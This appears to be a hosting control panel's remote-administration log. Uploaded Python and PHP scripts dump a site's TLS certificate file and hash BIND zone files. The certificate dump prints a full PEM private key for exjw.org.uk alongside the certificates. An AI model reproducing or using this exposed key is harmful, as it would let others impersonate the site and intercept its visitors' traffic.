    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-02 15:11:08: 

PUT: /tmp/pkp446198

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 15:11:08: 

chmod 755 /tmp/pkp446198; /tmp/pkp446198; rm /tmp/pkp446198

2026-03-02 15:11:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt	5328
c0:b8:32:fc:d9:50:5b:ce:44:51:49:18:2f:cb:4e:39

-----BEGIN CERTIFICATE-----
MIIE6jCCA9KgAwIBAgISBfATaU3Q7iSkbhU6S4x9ENd/MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzAyMTM1MTM3WhcNMjYwNTMxMTM1MTM2WjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANZ4
I3tYllmdTxjRaB9SK9OTUKm5ydomztYM9ON4nzh1ChH3Ch1WOlFBUVH9EWjCMDb9
uQhhdSWa7Ay22JFGwqQ7bvU+mNAjG64IKG7hEC0v6v+8bAEupoha48t9+IEyygZa
kDLW5KGxJ7iG3MfxFiVaosU2tSHFFgDNma3BIYWo8b6c77slepxzm9GOI1WKmwZ6
4AWSq6F+ZAMs5CA2QqnwT6rar0slrzWhjF2e+UNnVGhWtoewKFkRjntH0+aZeWMZ
xhKM1qhyoLsWZPyaGlEuQGyYcD7DHIoizyefcQg8ozrw4ldWibaOzT6F7QZFI0tF
TD7EQOkgZPKZ/A1EQk0CAwEAAaOCAhMwggIPMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQ0r+O5CNll
hyqmYRsLtUZ0Q87MRjAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5v
cmcvMBYGA1UdEQQPMA2CC2V4ancub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI4LmNy
bDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AMs49xWJfIShRF9bwd37yW7ymlnN
RwppBYWwyxTDFFjnAAABnK8HKnkAAAQDAEgwRgIhAOVtKoFGKfle9vq8H0GL7B4P
0XQ3lpIllmZK3GNWgtScAiEAw6W2kNmPsgctawVIPIDRwBwNJ7PWQ7sRfTBHEfso
GDsAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZyvByqvAAAE
AwBHMEUCIQD2en6uqYrTdlBKARlsuajMKxTsAHrvOYMyMtbjaBDqVwIgUvZ2AZyP
lcWNl2GF+wNyoQPOVvnTGk8/xku52zRDxQcwDQYJKoZIhvcNAQELBQADggEBAGmN
YSS4WcBneQtyrOsEus5CabmvkZ7yfXXhCESlcBUUbwISFyhYYxasV6TvMo4syP/H
pbo0Vx5jknTTMrj7LM8ldX75P85GoTautpzXOoEsvfSGz/q99aGFUQm9cav6tTEo
mFj0Enq+8XSx4aUKh18vSOk6hgU/ktWrpSmMofYEreOp1Y0Xx34FYytjCaTZ0Brl
WjFeW2D5uYWfD1FcsiiZHRRl6xcnFJdAMxRwRYtPSzScaWDzmYIBmfIvD+NaufS4
w4w5REAYC7YGGBynEeqZ3HJ0KQMf1/4TFEebeAofwx5ubQL01mk2A63ZhQ6+LVuD
iVLkNkoPZ9aIPGQ2YS0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWeCN7WJZZnU8Y
0WgfUivTk1CpucnaJs7WDPTjeJ84dQoR9wodVjpRQVFR/RFowjA2/bkIYXUlmuwM
ttiRRsKkO271PpjQIxuuCChu4RAtL+r/vGwBLqaIWuPLffiBMsoGWpAy1uShsSe4
htzH8RYlWqLFNrUhxRYAzZmtwSGFqPG+nO+7JXqcc5vRjiNVipsGeuAFkquhfmQD
LOQgNkKp8E+q2q9LJa81oYxdnvlDZ1RoVraHsChZEY57R9PmmXljGcYSjNaocqC7
FmT8mhpRLkBsmHA+wxyKIs8nn3EIPKM68OJXVom2js0+he0GRSNLRUw+xEDpIGTy
mfwNREJNAgMBAAECggEAHuQ5miHpsBlCRB0fjglgMi6xKu1Nl4xI9RhzKpOcfX2Q
OIO4k36w0jTiEXjt6cS0vKsBnKUrAkJlFzS8D3rdfNnpss30JWC1MzVOG6Bz28pf
4zug4++0AYZz8sLfiT6HTnB7fjMpRef2RHQ6d1swuSsrsFPftbBFadKzfM1Jdo6a
WRE1+VXDOXaDzqi8B4/4GCFSQgdYp9uWDN+Bo2zcGns6vH49/yurpZ347NKxY1xx
nlSYtWNsfkpmMkk32zByKaWOtUkkWWztwkEtg856gIL3fnz/Kdh5v2OkFaWArBaW
gQQrp7ha11c9cSEJWtUZvedumxuTZHfuzjQzk5WbGQKBgQDq51p8/imVKIbOeUSb
U34LhuknWs82k6Yq9Hx/g+KtQkmQab1sqEbmQEgC/3rBilk7gTKO5wT1b9Z2hUtT
afgJi8EgZmcU51nzHZ32xQG2iXl6Pt8wWTvPoE2C0xMmtJ7s6xdfmjWq7nygwiF7
pm5orG99AjSxyzSUMLj9xs0yaQKBgQDpuvqwcnQbqIezWl/Reth0BhHq6OQhjggC
exOpwpXO7erFJZM+TKq1C4Q/mhJy4d4TgyO4RqK6LvNq35FV/I0dbEXno0UcJeez
0E6xfLdG8hnxWNm20bwBIA+2x48Rdi3uMEOxISF6kDrixbJSxhK9+64uW01r9JbW
FuCnSDrMRQKBgGxswT20aykn/aFMJDi1vxY+/Vtm9QIyAJ8PHnAVRgnG8QGxbPe8
bI1W2mZX2id/XlSy+80uIQHQz2MBf5VO8mglk80Kt0XUy5YF86W1pWbF6cZdQtOk
PJFHYr+iAdL5x+l/UdiU63Ssg+YH9UCHv6qc/RDsdbojG2/TVW/91TURAoGAWszc
3vdXy/bo4PBXERZcSJajF1NqbO60heIyfVyuvjkHX5d9YFKAbt0Of3bne+HrWEE1
+zzVsubSgc5gs7rtR2Tss1RmYM0I+n4OVD1TJiifk3ck/TT1iKpf8G4OUoZKyaHO
al2ol+i4N6j94dI5Lb08qZ2msi3O+1Tf6ZzR2tECgYEAsjSNfpY4cVqpu/bTFVuK
Qu1f4nDwLMH30KFBUU1QRiF0L5KJ/voj/LZauBc8FWsHup8CWO6U6lKbZyne28lN
aStbvBFnL8gOkvgG54yvbq0owJ1hKctfDudxIE2oIx6ZpQWBRiKRkDgoWIsP7I3F
E0ml0jI9DRToBPbYQ0+BBXA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-02 15:11:08: Establishing a connection
2026-03-02 15:11:08: 

PUT: /tmp/pkp121862

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 15:11:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp121862; rm /tmp/pkp121862'

2026-03-02 15:11:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
